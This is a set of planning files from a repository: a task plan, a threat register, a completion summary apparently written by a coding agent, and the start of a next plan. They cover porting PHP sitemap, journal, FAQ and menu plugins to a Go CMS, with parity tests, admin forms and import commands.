<files>../sm-sitemap-plugin/plugin.go, ../sm-sitemap-plugin/admin.go, ../sm-sitemap-plugin/admin_permissions.go, ../sm-sitemap-plugin/controllers/admin_registry.go, ../sm-sitemap-plugin/controllers/definitions.go, ../sm-sitemap-plugin/controllers/definitions/config_form.yaml, ../sm-sitemap-plugin/models/definition/fields.yaml, ../sm-sitemap-plugin/models/settings/fields.yaml, ../sm-sitemap-plugin/lang/en/lang.yaml, ../sm-sitemap-plugin/lang/pl/lang.yaml, ../sm-sitemap-plugin/README.md, ../sm-sitemap-plugin/sitemap_smoke_test.go</files>
<read_first>../sm-journal-plugin/admin.go (adminFS embed, AdminControllers, Settings :38-50), ../sm-journal-plugin/admin_permissions.go, ../sm-journal-plugin/controllers/tags.go and controllers/tags/config_form.yaml, ../sm-journal-plugin/controllers/admin_registry.go, /media/nvme/dev/golem15/fonoteka/plugins/golem15/sitemap/Plugin.php (permissions :42, settings registration), classes/definitionitem/fields.yaml, models/settings/fields.yaml, lang/en/lang.php and lang/pl/lang.php, README.md, summercms modules/cabana/README.md (repeater, dependsOn, singleton, settings Controller link from plan 01), .planning/phases/17-blog-companions/17-UI-SPEC.md (§5 Singleton form, §6 Sitemap screens, Copywriting sitemap rows), .planning/phases/17-blog-companions/17-RESEARCH.md (Pitfall 9 adaptations)</read_first>
<action>Per D-11, D-12, D-13 and SC-1.
Controller golem15.sitemap.definitions (ModelName Golem15\Sitemap\Models\Definition, ConfigDir controllers/definitions, RequiredPermissions golem15.sitemap.access_definitions) implements pact.AdminSingleton (first or create the row with theme default), pact.DropdownOptionsProvider for data.type (url "URL" plus every registry type in registry order with its label) and pact.DependentOptionsProvider for the row reference (url answers applies false; registry types call signpost.ReferenceOptions). config_form.yaml with PHP modelClass and messages; models/definition/fields.yaml: one full-width repeater data (prompt golem15.sitemap::lang.item.add_item, titleFrom url) with nested type (dropdown, left), reference (dropdown, dependsOn type, right), url (text, left), urlPattern (text with url_pattern_comment, right), priority (dropdown 0.1 to 1.0, left), changefreq (dropdown with the seven PHP frequencies, right), nesting (checkbox, default on, full). The form schema subtitle links to /sitemap.xml (definition.view).
Settings (admin.go): HasSettings with two entries in the CMS category: sitemap (label plugin.name, icon network, Controller golem15.sitemap.definitions) and sitemap_settings (label settings.label, icon settings, Form models/settings/fields.yaml, NewModel Settings); both require golem15.sitemap.access_definitions. models/settings/fields.yaml: frontend_url (left), frontend_default_locale (right), updates_manifest_path (full), enable_priority_tiers (checkbox default on, full), the five priority_* text fields with their defaults and the generic tier comments from the UI-SPEC; the PHP hint and section blocks become comments and README text, trigger conditions are dropped (fields always show). HasPermissions registers golem15.sitemap.access_definitions (PHP label, developer role). Lang en and pl keep the PHP key names and values with the UI-SPEC corrections (add_item without the access-key markup, new pl values, no site names).
README (standard plugin README, no consuming application or site names): overview, the two routes and their PHP parity rules, the definition singleton, item types (url plus registry types; static and CMS pages dropped, D-12), settings, priority tiers and how to replace the rule list in host config, the two hooks with listener examples, the two commands and the export SQL, the Winter adaptations list (tabs flattened, span none mapped, hint and section to comments, trigger dropped, the SitemapItems widget replaced by a repeater, empty_confirm not ported), dependencies and testing.
Smoke (Postgres) TestSitemapAdminSmoke: the singleton route creates the definition once; saving rows through the admin API stores PHP-keyed item JSON; a reference not offered for its row type answers 422; the settings form saves the frontend URL; a user without golem15.sitemap.access_definitions gets 403.</action>
<verify>
<automated>go -C ../sm-sitemap-plugin vet ./... &amp;&amp; go -C ../sm-sitemap-plugin test -count=1 -short ./... &amp;&amp; grep -q "golem15.sitemap.access_definitions" ../sm-sitemap-plugin/admin_permissions.go &amp;&amp; grep -q "## " ../sm-sitemap-plugin/README.md</automated>
<fails_when>Non-zero exit: vet fails; a Docker-free test fails (for example the admin YAML does not compile at boot); the permission code is missing; the README has no sections.</fails_when>
<automated>docker info &gt;/dev/null 2&gt;&amp;1 &amp;&amp; go -C ../sm-sitemap-plugin test -count=1 -run '^(TestSitemapTracer|TestSitemapImportSmoke|TestSitemapAdminSmoke)$' -v . 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 3</automated>
<fails_when>Non-zero exit: no Docker daemon (record NOT RUN), or fewer than three passes: the singleton was created twice, rows were not stored with PHP keys, an invalid reference was accepted, settings did not save, or permissions were not enforced.</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "type: repeater" ../sm-sitemap-plugin/models/definition/fields.yaml` and `grep -n "dependsOn: type" ../sm-sitemap-plugin/models/definition/fields.yaml` each print one line.
- `grep -n "SingletonRecord" ../sm-sitemap-plugin/controllers/definitions.go` prints one line.
- `grep -ci "grzyby\|horoskopia\|fonoteka\|www\.golem15\.com" ../sm-sitemap-plugin/README.md ../sm-sitemap-plugin/lang/en/lang.yaml ../sm-sitemap-plugin/lang/pl/lang.yaml` reports 0 for each file.
</acceptance_criteria>
<done>Editors manage the sitemap definition and settings in the admin, and the plugin is documented for any host.</done>
</task>
</tasks>
<threat_model>
## Trust Boundaries
| Boundary | Description |
|----------|-------------|
| internet → /sitemap.xml, /sitemap.xsl | anonymous GETs |
| admin → definition and settings | authenticated editors; stored item text reaches public XML |
| Winter export files → import commands | operator-supplied JSONL and JSON |
| operator setting → manifest file path | a server path read by the plugin |
## STRIDE Threat Register
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|-----------|----------|-----------|----------|-------------|-----------------|
| T-17-15 | Tampering (XML injection) | serialize.go | high | mitigate | libxml-equivalent text and attribute escaping for every value (PHP XmlEscapingTest spec); golden cases with ampersands, quotes, angle brackets and control characters; no string concatenation of unescaped input |
| T-17-16 | Tampering (mass assignment) | models.Definition | medium | mitigate | Fillable exactly theme and data (PHP MassAssignmentTest); settings Fillable lists only the settings columns |
| T-17-17 | Information Disclosure | updates_manifest_path | medium | mitigate | regular file only, 5 MiB cap, JSON object only; only dates are derived; errors omit lastmod and never echo content |
| T-17-18 | Denial of Service | /sitemap.xml generation | medium | mitigate | 50,000 URL cap; tier patterns compiled once as RE2 (no backtracking); manifest cached per request |
| T-17-19 | Spoofing | backend URL for the rewrite | medium | mitigate | X-Forwarded-Proto honored only from surf trusted proxies; app.url preferred when set; literal replace only of the backend URL |
| T-17-20 | Elevation of Privilege | definitions controller and settings | medium | mitigate | permission golem15.sitemap.access_definitions on both settings entries and the controller; dependent reference rechecked on save |
| T-17-21 | Tampering | import commands | medium | mitigate | refuse a non-empty definition without --force; unmapped and reference-less items dropped with a report; dry run; SELECT-only export SQL |
| T-17-22 | Tampering | Journal additive change | low | mitigate | no existing Journal route, field or migration changes (diff check against 58851dd) |
| T-17-SC | Tampering | npm/pip/cargo installs | high | mitigate | no package installs; Go dependencies are the framework's own and pinned in go.sum |
</threat_model>
<verification>
- Task 1: sitemap golden and Journal Docker-free suites; the sitemap tracer and Journal smoke on a Docker host.
- Task 2: Journal suites and lang parity; Journal smoke on a Docker host.
- Task 3: full golden table, short suite, XSL byte check; import and tracer smokes on a Docker host.
- Task 4: short suite, permission and README checks; admin smoke on a Docker host.
</verification>
<success_criteria>
- SC-2: Journal registers its five PHP types through the registry and the sitemap consumes them.
- SC-3: sitemap.xml and sitemap.xsl match PHP output, including the frontend_url rewrite and hreflang.
- SC-1 (sitemap): schema, models, admin screens and import commands ported in their own repository with a README.
</success_criteria>
<output>
Create `.planning/phases/17-blog-companions/17-03-SUMMARY.md` when done, with the commits per repository (sm-journal-plugin, sm-sitemap-plugin), the golden generator command used, Docker smoke tests run or NOT RUN, and any framework gap found (reported, not patched).
</output>

View File

@@ -0,0 +1,281 @@
---
phase: 17-blog-companions
plan: 03
subsystem: plugins
tags: [go, sitemap, journal, signpost, cabana, festival, postgres, php-parity, goldens]
requires:
- phase: 17-01
provides: pact.HasMenuItemTypes / MenuItemType (PatternFrom), signpost registry and ReferenceOptions, cabana repeater, dependsOn, singleton controllers and settings link entries
- phase: 17-02
provides: admin SPA for repeater, dependent dropdown and singleton forms; summercms v0.1.23
provides:
- sm-journal-plugin registers journal-category, all-journal-categories, journal-post, all-journal-posts, category-journal-posts (pact.HasMenuItemTypes)
- new local repository sm-sitemap-plugin (main, no remote), plugin golem15.sitemap
- GET /sitemap.xml and /sitemap.xsl byte-identical to the PHP plugin (goldens from PHP)
- typed hooks classes.BeforeAddItem and classes.AddItem
- sitemap:import and sitemap:import-winter with read-only Winter export SQL
- sitemap admin: definitions singleton form (repeater + dependent reference) and settings form
affects: [17-04 menu plugin (same registry binding pattern), 17-05 site integration (submodule, go.mod bump, Winter export and import), 17-06 unit tests]
actuals:
tokens: 84496
tasks: 4
commits: 5
plan_head_before: 5fce70b
plan_head_after: 3e5a12c
repo_heads:
sm-journal-plugin: {before: 58851dd, after: c49d216, commits: 2}
sm-sitemap-plugin: {before: "(new repository)", after: 7d937e3, commits: 3}
tech-stack:
added: []
patterns:
- "PHP-parity output pinned by goldens generated from the PHP code with the vendored Winter router (tests/php/gen-goldens.php), committed so CI needs no PHP"
- "Hand-written ports where the bytes are the contract: libxml serializer, Url::to/buildUrl/parse_url/rawurlencode, str_replace rewrite"
- "List menu item types take the record type's DefaultPattern plus PatternFrom and build children from the layered MenuItemResolve.Pattern"
- "Batched translate attribute reads for menu item alternates (one query per model set) with PHP falsy fallback"
key-files:
created:
- ../sm-journal-plugin/menu_item_types.go
- ../sm-journal-plugin/classes/menu_item_types.go
- ../sm-journal-plugin/menu_item_types_smoke_test.go
- ../sm-sitemap-plugin/plugin.go
- ../sm-sitemap-plugin/routes.go
- ../sm-sitemap-plugin/admin.go
- ../sm-sitemap-plugin/classes/generator.go
- ../sm-sitemap-plugin/classes/serialize.go
- ../sm-sitemap-plugin/classes/urlto.go
- ../sm-sitemap-plugin/classes/tiers.go
- ../sm-sitemap-plugin/classes/manifest.go
- ../sm-sitemap-plugin/classes/rewrite.go
- ../sm-sitemap-plugin/classes/events.go
- ../sm-sitemap-plugin/classes/testdata/full.golden
- ../sm-sitemap-plugin/tests/php/gen-goldens.php
- ../sm-sitemap-plugin/console/import_winter.go
- ../sm-sitemap-plugin/controllers/definitions.go
- ../sm-sitemap-plugin/README.md
modified:
- ../sm-journal-plugin/lang/en/lang.yaml
- ../sm-journal-plugin/lang/pl/lang.yaml
- ../sm-journal-plugin/README.md
- .planning/phases/17-blog-companions/deferred-items.md
key-decisions:
- "Sitemap definition theme key is the constant default (models.DefinitionTheme); imports always write it and report the PHP theme"
- "Journal URL placeholders are replaced in PHP getHeadlessUrlParams order (id, slug, category, year, month, day), not the order the plan text listed"
- "Translated slugs and titles use PHP's fallback (missing or falsy translation reads the default value), read in one batched golem15_translate_attributes query per model set"
- "journal-category with nesting returns the category's subtree as the plan states; the frozen PHP returned every category (getNested on a new query), logged as a deferred item for plan 05 parity"
- "Host override of the tier rules lives in config/golem15.yaml under sitemap.priority_tiers (compass maps a config file name to its top key); a host list replaces the default list"
- "Settings entries sit in the category phrase golem15.sitemap::lang.settings.category (CMS); the framework has no shared CMS category key"
- "sitemap:import-winter gained --theme for exports with several definitions, and reports dropped cmsPage values"
patterns-established:
- "Sitemap tests boot a fake content plugin (acme.sitemaptypes) instead of requiring Journal; the real Journal plus sitemap pair is proven by the host in plan 05"
requirements-completed: [SC-1, SC-2, SC-3, D-01, D-02, D-03, D-04, D-10, D-11, D-12, D-13, D-14]
coverage:
- id: D1
description: "Journal registers its five PHP menu item types with DefaultPattern/PatternFrom, references, layered patterns, ordered per-locale alternates, nesting subtree, published filters and the x-default rule"
requirement: "D-04"
verification:
- kind: integration
ref: "../sm-journal-plugin/menu_item_types_smoke_test.go#TestMenuItemTypesSmoke"
status: pass
human_judgment: false
- id: D2
description: "/sitemap.xml from a stored definition (url item + registry item) equals the PHP golden byte for byte with Content-Type application/xml; 404 without a definition, empty 200 without items"
requirement: "SC-3"
verification:
- kind: unit
ref: "../sm-sitemap-plugin/classes/golden_test.go#TestSitemapGolden"
status: pass
- kind: integration
ref: "../sm-sitemap-plugin/sitemap_smoke_test.go#TestSitemapTracer"
status: pass
human_judgment: false
- id: D3
description: "Url::to port (58 PHP cases), escaping, per-alternate list expansion, nesting, tiers (default rules, custom settings, off), manifest lastmod, frontend_url rewrite, BeforeAddItem skip, AddItem extra, priority precision, 50000 URL cap; tier config refusals and host replacement; manifest fail-safe"
requirement: "SC-3"
verification:
- kind: unit
ref: "../sm-sitemap-plugin/classes/golden_test.go#TestSitemapGolden"
status: pass
- kind: unit
ref: "../sm-sitemap-plugin/classes/golden_test.go#TestSitemapTiersConfig"
status: pass
human_judgment: false
- id: D4
description: "sitemap:import-winter maps and drops items with a report, refuses a non-empty definition without --force, copies settings; /sitemap.xml rewrite with frontend_url; /sitemap.xsl bytes and headers; BeforeAddItem skip; sitemap:import PHP semantics"
requirement: "SC-1"
verification:
- kind: integration
ref: "../sm-sitemap-plugin/sitemap_smoke_test.go#TestSitemapImportSmoke"
status: pass
human_judgment: false
- id: D5
description: "Sitemap admin API: singleton created once, repeater rows stored with PHP keys, 422 on a reference not offered for its type, settings form saves, 403 without golem15.sitemap.access_definitions"
requirement: "D-11"
verification:
- kind: integration
ref: "../sm-sitemap-plugin/sitemap_smoke_test.go#TestSitemapAdminSmoke"
status: pass
human_judgment: false
- id: D6
description: "Sitemap admin screens in the SPA (singleton definition form with the item repeater, settings form) render and read well"
requirement: "SC-1"
verification: []
human_judgment: true
rationale: "Visual and UX check of the SPA screens; no browser test runs in this plan, and the definition.view subtitle link waits for a framework schema key"
- id: D7
description: "Plugin READMEs (Journal menu item types section, sitemap README with Winter adaptations) are accurate and name no consuming application"
requirement: "SC-1"
verification:
- kind: other
ref: "grep -ci 'grzyby|horoskopia|fonoteka|www.golem15.com' README.md lang/*/lang.yaml -> 0"
status: pass
human_judgment: true
rationale: "The framework docs checker does not run on sibling plugin repos; identifiers were checked by hand"
duration: 38min
completed: 2026-10-12
status: complete
---
# Phase 17 Plan 03: Journal menu item types and the sitemap plugin Summary
**Journal registers its five PHP menu item types through signpost, and a new sm-sitemap-plugin serves /sitemap.xml and /sitemap.xsl byte-identical to the PHP plugin (goldens generated from PHP), with tiers, manifest lastmod, typed hooks, the frontend_url rewrite, Winter import commands and a singleton admin form**
## Performance
- **Duration:** about 38 min
- **Started:** 2026-10-12T14:37:00Z
- **Completed:** 2026-10-12T15:15:00Z
- **Tasks:** 4 (Task 1 tracer, verified end-to-end before expansion)
- **Files:** 6 changed in sm-journal-plugin, 47 created in sm-sitemap-plugin
## Accomplishments
- **Journal (additive, D-04):** `(*Plugin).MenuItemTypes` and `classes.MenuItemTypes` register `journal-category` (tree references, nesting subtree), `all-journal-categories` (by name), `journal-post` (by title, no published filter), `all-journal-posts` and `category-journal-posts` (published, by title, category plus descendants). The three list types declare the record type's DefaultPattern and `PatternFrom`, so a host override of `journal-post` and `journal-category` reaches their children. Alternates follow translate `sort_order`, the unprefixed locale has no prefix, slugs and titles are translated with PHP's fallback, and `x-default` is the only alternate without enabled locales. Lang `menuitem.*` (en, pl, UI-SPEC copy), README "Menu item types" section and API rows. No route, payload, table, migration, config key or field definition changed (`git diff 58851dd -- routes.go controllers/api models/category/fields.yaml updates` is empty; category content stays `blogeditor`).
- **sm-sitemap-plugin (new, `git init -b main`, no remote):** module `git.golem15.com/golem15/sm-sitemap-plugin`, plugin `golem15.sitemap`, go.work with replaces to `../summercms.go` and `../sm-translate-plugin`, go.mod requiring summercms v0.1.23 with the local replace.
- Tables `golem15_sitemap_definitions` (PHP columns, theme index) and `golem15_sitemap_settings` (singleton id 1, PHP defaults). `models.Definition` (Fillable exactly theme and data) with tolerant PHP-shaped item decoding and PHP `toArray` encoding.
- `classes`: libxml-format serializer, Url::to/buildUrl/parse_url/rawurlencode port, generator in `addItemToSet` order (50000 cap, lastmod from mtime or manifest, BeforeAddItem, empty drop, count, tier or item priority, elements, AddItem), per-alternate expansion for list types, tier rules compiled at boot from `golem15.sitemap.priority_tiers`, manifest reader (regular file, 5 MiB, JSON object, fail safe), `str_replace` rewrite.
- Routes `/sitemap.xml` (404 / empty 200 / XML, `application/xml`, `no-cache, private`) and `/sitemap.xsl` (embedded PHP file, `text/xsl; charset=UTF-8`); backend URL from `app.url`, else trusted `X-Forwarded-Proto` or TLS plus Host.
- Commands `sitemap:import` (PHP JSON 1:1) and `sitemap:import-winter` (type map, static/CMS drop, reference check, report, `--force`, `--dry-run`, settings copy) with `scripts/winter-export-definitions.sql` and `scripts/winter-export-settings.sql` (SELECT only).
- Admin: `golem15.sitemap.definitions` singleton controller (repeater on `data`, type dropdown url plus registry types, reference `dependsOn: type` through `signpost.ReferenceOptions`), settings entries Sitemap (link) and Sitemap settings (form), permission `golem15.sitemap.access_definitions` (developer), en/pl phrasebooks, README.
## Task Commits
**sm-journal-plugin**
1. **Task 1 (tracer): journal-post type** - `fd1572a` (feat)
2. **Task 2: the other four Journal types, lang, README** - `c49d216` (feat)
**sm-sitemap-plugin**
1. **Task 1 (tracer): plugin, definition model, serializer, Url::to, /sitemap.xml, goldens** - `fe39e26` (feat)
3. **Task 3: full generation, settings, tiers, manifest, hooks, rewrite, XSL, import commands** - `4a82240` (feat)
4. **Task 4: admin, permissions, lang, README** - `7d937e3` (feat)
**summercms.go:** no code change (plan rule). Plan metadata: the docs commit that adds this SUMMARY and the deferred items, then the STATE/ROADMAP commit. Nothing was pushed or tagged.
## Golden generator
Local PHP 8.5.10 with the vendored Winter router:
```sh
cd ../sm-sitemap-plugin
WINTER_VENDOR=/media/nvme/dev/golem15/grzybyfunkcjonalne.pl/vendor php tests/php/gen-goldens.php classes/testdata/tracer.json classes/testdata/tracer.golden
WINTER_VENDOR=... php tests/php/gen-goldens.php classes/testdata/urlto.json classes/testdata/urlto.golden
WINTER_VENDOR=... php tests/php/gen-goldens.php classes/testdata/full.json classes/testdata/full.golden
```
`full.json` holds 15 cases: escaping, empty urlset, no items, hreflang list, nested, default tiers, custom tier settings, tiers off, rewrite, rewrite with equal URLs, manifest, skip and extra hooks, priority precision, null URL, root with a port. The script requires `WINTER_VENDOR`, so the plugin code names no application path.
## Docker smoke tests
All ran on the local Docker daemon and passed: `TestMenuItemTypesSmoke` (Journal), `TestSitemapTracer`, `TestSitemapImportSmoke`, `TestSitemapAdminSmoke` (sitemap). The full Journal suite (`go test ./...`) and the full sitemap suite passed after the last commit; `go vet ./...` and `go test -short ./...` were green in both repos at every commit.
## Decisions Made
See `key-decisions` in the front matter.
## Deviations from Plan
### Auto-fixed Issues
**1. [Rule 3 - Blocking] Definition needs a Rules method for cabana writes**
- **Found during:** Task 4
- **Issue:** The singleton route and saves answered 500 "missing Fill/Validate capability": cabana's writable model needs `Rules()`.
- **Fix:** `models.Definition.Rules` returns an empty map (PHP validated nothing).
- **Files modified:** ../sm-sitemap-plugin/models/definition.go
- **Committed in:** 7d937e3
**2. [Rule 1 - Parity] Placeholder replacement order follows PHP**
- **Found during:** Task 1
- **Issue:** The plan lists the post placeholders as `:slug, :category, :id, :year, :month, :day`; PHP `buildUrlFromPattern` replaces in `getHeadlessUrlParams` order (`id, slug, category, year, month, day`), which matters when a value contains another placeholder.
- **Fix:** PHP order (categories `id, slug`).
- **Committed in:** fd1572a
**3. [Rule 1 - Parity] Translated slugs use PHP's fallback**
- **Found during:** Task 1
- **Issue:** The plan names `translate.TranslatedExact`, which returns nothing for a missing translation; PHP `translateContext` falls back to the default value for a missing or falsy translation. Per-call translate helpers would also run three queries per record and locale.
- **Fix:** One batched `golem15_translate_attributes` read per model set with PHP truthiness and fallback.
- **Committed in:** fd1572a, c49d216
**4. [Rule 2 - Missing critical] sitemap:import-winter --theme**
- **Found during:** Task 3
- **Issue:** A Winter site with several themes exports several definition rows; the command had no way to choose.
- **Fix:** `--theme`; without it an export with several rows is refused with the list of themes.
- **Committed in:** 4a82240
**5. [Rule 3 - Blocking] Host tier override file**
- **Found during:** Task 3
- **Issue:** The plan's decision names `config/golem15.sitemap.yaml`; compass reads a host config file name as its top key, and the framework docs override plugin keys under the vendor file (`config/acme.yaml`, `blog:`).
- **Fix:** Documented and tested `config/golem15.yaml` with `sitemap: priority_tiers:` (`TestSitemapTiersConfig`); a host list replaces the default list.
- **Committed in:** 4a82240
**6. [Rule 3 - Blocking] Settings category key**
- **Found during:** Task 4
- **Issue:** The framework has no CMS settings category phrase.
- **Fix:** `golem15.sitemap::lang.settings.category` ("CMS" in en and pl); the settings index groups by the translated text, so other plugins using "CMS" share the group.
- **Committed in:** 7d937e3
### Plan discrepancy recorded, not changed
- **journal-category nesting:** the frozen PHP `$category->getNested()` returns every category; the plan's truth asks for the subtree, which is implemented. Logged as deferred item 4 (17-03) for plan 05's live parity check.
---
**Total deviations:** 6 auto-fixed (2 parity, 1 missing critical, 3 blocking). **Impact:** all within the plan's scope; no framework file changed.
## Framework gaps (reported, not patched)
- **Singleton subtitle link:** the "View sitemap.xml" link (`definition.view`) has no form schema key in cabana (17-02 deferred item 1); the phrase is shipped and the README says the link waits for the key.
- **Shared CMS settings category:** no framework phrase; the plugin carries its own (deviation 6).
## Issues Encountered
- Journal's migrations seed a default category, so the smoke test clears categories before building its tree.
- `go test -short` still starts Postgres for the Journal suite because its pre-existing TestMain scans `os.Args` (deferred item 1, 17-03).
## Known Stubs
None. The `definition.view` phrase is unused until the framework gap above is closed.
## User Setup Required
None. The remote repository `sm-sitemap-plugin` and the push are plan 05's human-approved step; Journal's go.mod still requires summercms v0.1.21 (it builds through the local replace) and plan 05 bumps it to v0.1.23.
## Next Phase Readiness
- Plan 04 can copy the definitions controller's binding (`DropdownOptions` with url plus registry types, `DependentOptions` through `signpost.ReferenceOptions`) for menu entries.
- Plan 05 mounts `sm-sitemap-plugin` as a submodule, creates its remote, bumps the go.mod requires, runs the Winter export SQL and `sitemap:import-winter --map ...`, and checks live parity (watch for `journal-category` items with nesting).
---
*Phase: 17-blog-companions*
*Completed: 2026-10-12*
## Self-Check: PASSED
All 18 listed key files exist; commits fd1572a and c49d216 (sm-journal-plugin), fe39e26, 4a82240 and 7d937e3 (sm-sitemap-plugin) and 362e1a7 (this SUMMARY) are in their repositories; `commits` (5) is measured per repository (`git rev-list --count 58851dd..HEAD` = 2 in Journal, 3 in the new sitemap repository). Every task acceptance criterion and verify command was re-run after its commit and passed.

View File

@@ -0,0 +1,387 @@
---
phase: 17-blog-companions
plan: 04
type: execute
wave: 2
depends_on: ["17-01"]
coupling_justified: ["17-02: 17-02 edits only admin/, modules/boardwalk/dist and modules/phrasebook lang in summercms.go; this plan reads summercms.go through go.work and never edits it", "17-03: disjoint repositories; both only read summercms.go"]
files_modified:
- ../sm-faq-plugin/.gitignore
- ../sm-faq-plugin/go.mod
- ../sm-faq-plugin/go.sum
- ../sm-faq-plugin/go.work
- ../sm-faq-plugin/README.md
- ../sm-faq-plugin/plugin.go
- ../sm-faq-plugin/routes.go
- ../sm-faq-plugin/admin.go
- ../sm-faq-plugin/admin_navigation.go
- ../sm-faq-plugin/admin_permissions.go
- ../sm-faq-plugin/lang/en/lang.yaml
- ../sm-faq-plugin/lang/pl/lang.yaml
- ../sm-faq-plugin/models/registry.go
- ../sm-faq-plugin/models/faq.go
- ../sm-faq-plugin/models/faq/fields.yaml
- ../sm-faq-plugin/models/faq/columns.yaml
- ../sm-faq-plugin/controllers/admin_registry.go
- ../sm-faq-plugin/controllers/faqs.go
- ../sm-faq-plugin/controllers/faqs/config_form.yaml
- ../sm-faq-plugin/controllers/faqs/config_list.yaml
- ../sm-faq-plugin/controllers/api/faqs.go
- ../sm-faq-plugin/console/helpers.go
- ../sm-faq-plugin/console/import_winter.go
- ../sm-faq-plugin/scripts/winter-export.sql
- ../sm-faq-plugin/updates/registry.go
- ../sm-faq-plugin/updates/202610110001_create_golem15_faq_faqs.go
- ../sm-faq-plugin/testmain_test.go
- ../sm-faq-plugin/faq_smoke_test.go
- ../sm-menu-plugin/.gitignore
- ../sm-menu-plugin/go.mod
- ../sm-menu-plugin/go.sum
- ../sm-menu-plugin/go.work
- ../sm-menu-plugin/README.md
- ../sm-menu-plugin/plugin.go
- ../sm-menu-plugin/routes.go
- ../sm-menu-plugin/admin.go
- ../sm-menu-plugin/admin_navigation.go
- ../sm-menu-plugin/admin_permissions.go
- ../sm-menu-plugin/lang/en/lang.yaml
- ../sm-menu-plugin/lang/pl/lang.yaml
- ../sm-menu-plugin/models/registry.go
- ../sm-menu-plugin/models/menu.go
- ../sm-menu-plugin/models/menu_entry.go
- ../sm-menu-plugin/models/menu/fields.yaml
- ../sm-menu-plugin/models/menu/columns.yaml
- ../sm-menu-plugin/models/menuentry/fields.yaml
- ../sm-menu-plugin/models/menuentry/columns.yaml
- ../sm-menu-plugin/classes/links.go
- ../sm-menu-plugin/classes/tree.go
- ../sm-menu-plugin/controllers/admin_registry.go
- ../sm-menu-plugin/controllers/menus.go
- ../sm-menu-plugin/controllers/menus/config_form.yaml
- ../sm-menu-plugin/controllers/menus/config_list.yaml
- ../sm-menu-plugin/controllers/menuentries.go
- ../sm-menu-plugin/controllers/menuentries/config_form.yaml
- ../sm-menu-plugin/controllers/menuentries/config_list.yaml
- ../sm-menu-plugin/controllers/menuentries/config_filter.yaml
- ../sm-menu-plugin/controllers/menuentries/config_reorder.yaml
- ../sm-menu-plugin/controllers/api/menus.go
- ../sm-menu-plugin/console/helpers.go
- ../sm-menu-plugin/console/import_winter.go
- ../sm-menu-plugin/scripts/winter-export-menus.sql
- ../sm-menu-plugin/scripts/winter-export-entries.sql
- ../sm-menu-plugin/updates/registry.go
- ../sm-menu-plugin/updates/202610110001_create_golem15_menu_menus.go
- ../sm-menu-plugin/updates/202610110002_create_golem15_menu_menu_entries.go
- ../sm-menu-plugin/updates/202610110003_add_url_pattern_to_golem15_menu_menu_entries.go
- ../sm-menu-plugin/testmain_test.go
- ../sm-menu-plugin/menu_smoke_test.go
autonomous: false
requirements: [SC-1, SC-2, SC-3, D-02, D-05, D-07, D-08, D-09, D-10, D-16, D-17]
estimate:
tokens: 200000
raw_tokens: 200000
tasks: 5
confidence: low
must_haves:
truths:
- "SC-1 (FAQ): table golem15_faq_faqs keeps the PHP columns (id, name, slug, locale_id NOT NULL, is_active default false, description text, content text holding the jsonable question and answer list) and timestamps; the admin has a top-level FAQ entry (order 500, side menu FAQs, permission golem15.faq.faqs) whose form has name, slug (preset from name), locale (relation to the translate Locale, nameFrom name), is_active, description (richeditor, D-10) and content (repeater, prompt add_question, titleFrom question, nested question text required and answer richeditor, D-07); the list adds a locale column so rows of the same slug are told apart."
- "SC-1 (menu): tables golem15_menu_menus (id, name, code unique, is_active default true, css_class) and golem15_menu_menu_entries (id, menu_id, parent_id, nest_left, nest_right, nest_depth NOT NULL, sort_order, type, title, url, reference, code, icon, css_class, target, is_published default true) keep the PHP columns, plus one additive nullable url_pattern column on entries for the D-02 per-item pattern override; MenuEntry saves set nest_left, nest_right and nest_depth to 0 when unset, set sort_order to the menu's maximum plus one when unset and inherit menu_id from the parent, as PHP beforeSave did."
- "D-05: the entry type dropdown offers the built-ins url (Link) and divider (Divider) followed by every registry type with its owning plugin's label; the reference dropdown depends on type through signpost.ReferenceOptions (built-ins answer applies false, D-08); the entry url accepts only http, https, mailto, tel, a leading slash or a fragment (anything else is a 422 with errors.url_scheme, RESEARCH Pitfall 15) and target is _self, _blank or empty."
- "D-09: the menu entries list has a menu filter and the toolbar buttons reorder, create and delete; config_reorder.yaml (title Reorder menu entries, nameFrom title, partition menu_id through relation menu, nameFrom name) lets editors drag entries into a tree scoped to one menu; the PHP Children tab and partial are not ported."
- "D-05 and D-19 import: menu:import-winter --menus FILE --entries FILE maps link to url and blog_categories to all-journal-categories, drops page entries (and their subtrees) and any type that is neither built-in, registered nor mapped through repeatable --map old=new, drops a registry entry whose reference is not among the type's references, prints one report line per dropped or remapped entry, keeps ids, menu_id and parent_id, bumps both sequences with setval, refuses non-empty tables without --force and supports --dry-run; faq:import-winter --file FILE remaps locale_id by locale code (an unknown code aborts before writing), keeps ids, bumps the sequence and has the same --force and --dry-run rules; the export SQL files are read-only SELECTs."
- "SC-1 edge (empty): each import command given an empty input file writes nothing and exits 0 with a zero-count report."
- "D-16 (one-way, after the human's checkpoint answer): GET /_menu/api/v1/menus/{code} is anonymous, throttled by bucket menu-public-api (120 per minute per client IP), answers 404 JSON for an unknown or inactive menu, and returns the menu with its published entries as a nested tree ordered by sort_order then id within each parent (edge probe, ordering), each entry with id, title, type, url, target, css_class, icon, code and items; url entries return their stored URL only when it passes the scheme allowlist (else null); dividers return a null URL; single registry types return the resolved URL for the requested locale (else the default URL) through signpost with the entry's url_pattern as the item override; list registry types keep the entry's stored URL and title and carry the resolved children in items; an entry whose type is not registered or whose reference no longer resolves is left out."
- "D-17 (one-way, after the human's checkpoint answer): GET /_faq/api/v1/faqs/{slug}?locale=xx is anonymous, throttled by bucket faq-public-api, resolves the locale by code among enabled locales (default: the translate default locale), selects the active row with that slug and locale ordered by id (edge probe, adjacency: duplicate slugs serve the lowest id), answers 404 JSON when none, and returns name, slug, locale, description and content as [{question, answer}] with description and every answer passed through seaglass on output, so rows copied straight into the database are sanitized too (RESEARCH Pitfall 10)."
- "D-17 locale relation: FAQ Requires golem15.translate and keeps one row per locale through locale_id (1:1 with PHP)."
artifacts:
- path: "../sm-faq-plugin/models/faq.go"
provides: "FAQ model with jsonable content and the Locale relation"
contains: "golem15_faq_faqs"
- path: "../sm-faq-plugin/controllers/api/faqs.go"
provides: "public FAQ API with output sanitizing"
contains: "seaglass"
- path: "../sm-menu-plugin/models/menu_entry.go"
provides: "MenuEntry with the PHP beforeSave rules"
contains: "nest_left"
- path: "../sm-menu-plugin/controllers/menuentries/config_reorder.yaml"
provides: "tree reorder scoped to one menu"
contains: "partition"
- path: "../sm-menu-plugin/controllers/api/menus.go"
provides: "public menu API with registry resolution"
contains: "signpost"
